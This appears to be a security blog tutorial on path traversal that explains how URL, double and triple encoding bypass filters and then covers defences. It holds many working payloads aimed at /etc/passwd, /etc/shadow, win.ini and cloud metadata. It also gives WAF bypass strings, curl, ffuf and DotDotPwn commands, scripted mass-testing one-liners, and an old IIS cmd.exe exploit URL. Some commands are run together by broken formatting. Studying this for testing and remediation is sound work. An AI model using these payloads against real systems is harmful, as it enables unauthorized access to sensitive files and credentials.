Listen to this Post

Introduction:
Path traversal—often referred to as directory traversal—is a vulnerability that allows attackers to access files and directories stored outside the web root folder. While many developers are aware of the classic `../` sequence and implement filters to remove it, sophisticated encoding techniques can easily bypass these naive defenses. This article explores how URL encoding and double encoding transform a simple dot-dot-slash into a powerful attack vector, demonstrating why surface-level input sanitization is never enough in modern web application security.
Learning Objectives:
- Understand the mechanics of URL encoding and how special characters are represented in web requests
- Master the techniques of single and double encoding to bypass path traversal filters
- Learn to identify, exploit, and remediate path traversal vulnerabilities in real-world applications
- Gain hands-on experience with testing tools and command-line payloads
- URL Encoding Fundamentals: The Language of the Web
URL encoding, also known as percent-encoding, is a mechanism for encoding information in a Uniform Resource Identifier (URI) under certain circumstances. Since URLs can only contain a limited set of characters from the US-ASCII character set, any characters outside this set must be encoded. This is achieved by replacing the character with a `%` followed by its two-digit hexadecimal ASCII value.
For path traversal attacks, three critical encodings form the foundation:
| Character | ASCII Hex | URL Encoded |
|–|–|-|
| `/` (forward slash) | 2F | `%2f` |
| `.` (dot) | 2E | `%2e` |
| `%` (percent) | 25 | `%25` |
When a web application receives a request containing %2e%2e%2f, the web server or application framework typically decodes this to `../` before processing the file path. Consider the following attack URL:
https://website.com/var/www/images/%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
After URL decoding, this becomes:
https://website.com/var/www/images/../../../etc/passwd
If the application simply strips `../` as plain ASCII text without considering encoded variants, the encoded payload will sail right through the filter and successfully read the `/etc/passwd` file.
Testing this manually with cURL:
Basic path traversal test curl -s "https://target.com/download?file=../../../../etc/passwd" URL-encoded traversal curl -s "https://target.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" Mixed encoding (bypassing simple filters) curl -s "https://target.com/download?file=..%2f..%2f..%2fetc%2fpasswd"
2. Double Encoding: The Filter-Bypassing Power Move
If an application developer is savvy enough to block both `../` and %2e%2e%2f, the attacker can escalate to double encoding. Double encoding is the process of applying URL encoding twice to a string. Since the `%` symbol itself is encoded as %25, the double-encoded representation of `../` becomes %252e%252e%252f.
The attack works because the web application might decode user input only once before passing it to a security filter. However, the underlying web server or backend module may decode the input a second time, resulting in the original `../` sequence being processed.
Double-encoded attack URL:
https://website.com/var/www/images/%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
Decoding process:
- First decode (by application filter): `%252e%252e%252f` → `%2e%2e%2f`
2. Second decode (by backend/filesystem): `%2e%2e%2f` → `../`
The security filter only sees `%2e%2e%2f` after its single decode pass and may allow it through, not recognizing it as a threat. The backend then performs the second decode, and the path traversal succeeds.
Real-world example from IIS 4.0 and 5.0 (CVE-2001-0333):
Attackers could bypass authorization schemas using double encoding to execute arbitrary commands:
http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
This vulnerability allowed attackers to traverse out of the web root and access the Windows system directory, demonstrating the severe impact of double-decoding flaws.
- The Percent Encoding of Percent: The Ultimate Bypass
When applications block the `%` character entirely to prevent encoding-based attacks, attackers can encode the percent symbol itself. By inputting %25, the application receives a literal `%` character after decoding. In a vulnerable application that decodes input multiple times, this creates an infinite encoding loop.
Triple-encoded payload:
%25252e%25252e%25252f
This resolves through successive decoding stages:
- Stage 1: `%25252e` → `%252e`
– Stage 2: `%252e` → `%2e`
– Stage 3: `%2e` → `.`Modern Web Application Firewalls (WAFs) like CloudFlare, Imperva, and AWS WAF have been tested against encoding-stack overflow techniques where attackers use deep encoding chains to overwhelm parsing limits.
Testing encoding depth with cURL:
Single encoded curl -s "https://target.com/file?path=%2e%2e%2fetc%2fpasswd" Double encoded curl -s "https://target.com/file?path=%252e%252e%252fetc%252fpasswd" Triple encoded curl -s "https://target.com/file?path=%25252e%25252e%25252fetc%25252fpasswd" Quadruple encoded (bypassing WAFs with limited decoding depth) curl -s "https://target.com/file?path=%2525252e%2525252e%2525252fetc%2525252fpasswd"
4. Advanced Bypass Techniques for Modern WAFs
Modern security solutions employ sophisticated detection mechanisms, but attackers have developed equally sophisticated bypass techniques. The ADVANCED-DIRECTORY-TRAVERSAL-PAYLOADS repository contains over 800 battle-tested payloads designed to bypass CloudFlare, Imperva, F5, ModSecurity, AWS WAF, and Azure WAF.
Key bypass techniques include:
Unicode Encoding Exploits:
..%c0%af Overlong UTF-8 encoding of / %c0%ae%c0%ae%c0%af Unicode-encoded ../ %uff0e%uff0e%u2215 UTF-16 Unicode encoding
Path Separator Mixing (Windows/Linux):
......\windows\win.ini Backslash traversal (Windows) ..%5c..%5c..%5cwindows\win.ini URL-encoded backslash ....\....\....\windows\system32\drivers\etc\hosts
Bypassing “Remove ../” Filters:
When a WAF simply removes all `../` occurrences, attackers can use nested or duplicated patterns:
..././ Extra dot and slash confuse the filter ....//....//etc/passwd Duplicated characters ..;/..;/sensitive.txt Semicolon separator bypass
NGINX and ALB Bypass:
NGINX in certain configurations blocks traversal attacks in routes by returning 400 errors. This can be bypassed by adding forward slashes in front of the URL:
http://nginx-server////////../../etc/passwd
UNC Path Injection (Windows):
\localhost\c$\windows\win.ini
Cloud Metadata Service Exploitation:
http://169.254.169.254/../../proc/self/environ
5. Practical Testing with Automated Tools
Manual testing is essential, but automated tools can significantly accelerate the discovery of path traversal vulnerabilities.
Using FFUF for Payload Fuzzing:
Basic fuzzing with 800+ payloads ffuf -w payloads.txt -u https://target.com/api?file=FUZZ -mc 200 -mr "root:" Testing multiple depths ffuf -w depths.txt -u https://target.com/download?file=../../../FUZZ -w files.txt
Using Path-Checker (Python CLI Tool):
Clone and install git clone https://github.com/Nutzh/path-checker.git cd path-checker pip install requests Basic test python checker.py -u "http://example.com" -p "file" Test with specific endpoint and prefix python checker.py -u "http://example.com" -e "image" -p "filename" --prefix "/var/www/images/" --files "/etc/passwd" Test with Burp proxy for debugging python checker.py -u "http://example.com" -p "file" --proxy "http://127.0.0.1:8080" Save results python checker.py -u "http://example.com" -e "download" -p "file" -o results.txt
Using DotDotPwn:
git clone https://github.com/wireghoul/dotdotpwn perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
One-liner for rapid testing:
while read p; do curl -s "https://target.com/api?file=$p" | grep -q "root:" && echo "[+] $p"; done < payloads.txt
Parallel testing (50x faster):
cat payloads.txt | parallel -j 50 'curl -s "https://target.com/api?file={}" | grep -q "root:" && echo "[+] {}"'
6. Vulnerable Code Patterns Across Languages
Understanding how different programming languages handle path resolution is crucial for both exploitation and defense.
Python (Vulnerable):
filename = request.args.get('file')
content = open('/var/www/files/' + filename).read()
Request: /download?file=../../../etc/passwd
Results in reading: /var/www/files/../../../etc/passwd = /etc/passwd
Java (Vulnerable with improper canonicalization):
String filename = request.getParameter("file");
File file = new File("/var/www/files/" + filename);
// Without proper canonicalization and validation
Node.js (Vulnerable):
const filename = req.query.file;
const filePath = path.join('/var/www/files', filename);
// If filename contains ../, path.join still resolves it
PHP (Older versions with null byte injection):
$filename = $_GET['file'];
include('/var/www/files/' . $filename . '.php');
// Null byte injection: ../../../etc/passwd%00
// Bypasses .php extension in PHP < 5.3.4
7. Defense in Depth: Securing Against Path Traversal
Primary Mitigation Strategies:
- Avoid user-supplied input in filesystem operations entirely. Use a whitelist of allowed filenames or implement a mapping between user-friendly identifiers and actual file paths.
-
Validate and canonicalize paths before accessing the filesystem. Resolve the path to an absolute form and verify it stays within the intended base directory.
-
Use a secure path resolution function that normalizes the path and checks against an allowlist:
Python (Secure):
import os
BASE_DIR = '/var/www/files/'
def safe_open(filename):
Normalize and resolve the absolute path
requested_path = os.path.realpath(os.path.join(BASE_DIR, filename))
Verify the resolved path is within the base directory
if not requested_path.startswith(os.path.realpath(BASE_DIR)):
raise ValueError("Path traversal detected")
return open(requested_path, 'r')
Java (Secure):
File baseDir = new File("/var/www/files/");
File requestedFile = new File(baseDir, filename);
String canonicalPath = requestedFile.getCanonicalPath();
if (!canonicalPath.startsWith(baseDir.getCanonicalPath())) {
throw new SecurityException("Access denied");
}
- Implement input validation that decodes input recursively before validation. A single decode pass is insufficient—validate after all decoding is complete.
-
Disable parent paths in web server configurations. In IIS 6.0, parent paths are disabled by default, which prevents many basic traversal attempts.
What Undercode Say:
-
URL encoding transforms `../` into
%2e%2e%2f, allowing attackers to bypass filters that only check for literal dot-dot-slash sequences. Always decode user input before validation. -
Double encoding (
%252e%252e%252f) exploits the discrepancy between application-layer filtering and backend processing. Security controls must operate after all decoding stages are complete. -
The most sophisticated attacks encode the percent symbol itself (
%25) , creating deep encoding chains that can overwhelm WAF parsing limits and bypass even robust filters. -
Modern WAFs can be bypassed using Unicode overlong encodings, path separator mixing, and protocol-specific quirks. Relying solely on WAF protection is insufficient—application-level validation is essential.
-
Automated tools like FFUF, path-checker, and DotDotPwn can test hundreds of encoding variations simultaneously, revealing vulnerabilities that manual testing might miss.
-
Defense requires canonicalization and validation after all decoding is complete, combined with strict allowlisting of permitted files and directories.
-
The vulnerability persists across all major programming languages (Python, Java, Node.js, PHP) due to unsafe concatenation of user input with base paths.
-
Real-world CVEs continue to emerge, including CVE-2025-58761 (Tautulli), CVE-2025-24406, and CVE-2025-10232, demonstrating that path traversal remains a prevalent and dangerous vulnerability class.
-
Chaining path traversal with other vulnerabilities (SSRF, file upload, OAuth token theft) can escalate impact from local file read to complete system compromise.
-
The fundamental lesson: never trust user input, and always validate file paths after full normalization and canonicalization.
Prediction:
-
-1 The proliferation of API-driven architectures and serverless deployments will create new path traversal vectors, as developers increasingly pass file paths through JSON payloads and GraphQL queries without proper validation.
-
-1 As WAF vendors improve detection of encoding-based attacks, adversaries will shift toward parsing discrepancy exploits and HTTP/2 smuggling patterns, creating a new arms race in path traversal defense.
-
+1 The growing awareness of encoding-based bypass techniques within the security community will drive the adoption of secure-by-default frameworks that automatically canonicalize and validate all file paths, reducing the attack surface over time.
-
+1 AI-powered code review tools are increasingly capable of detecting unsafe file path concatenation patterns, potentially catching path traversal vulnerabilities before they reach production.
-
-1 The complexity of modern web stacks—with multiple layers of reverse proxies, load balancers, and application frameworks—makes consistent decoding behavior difficult to guarantee, ensuring that path traversal vulnerabilities will persist for years to come.
▶️ Related Video (86% Match):
https://www.youtube.com/watch?v=3YLFZvxZbRc
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Abdullah Ghanchi – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


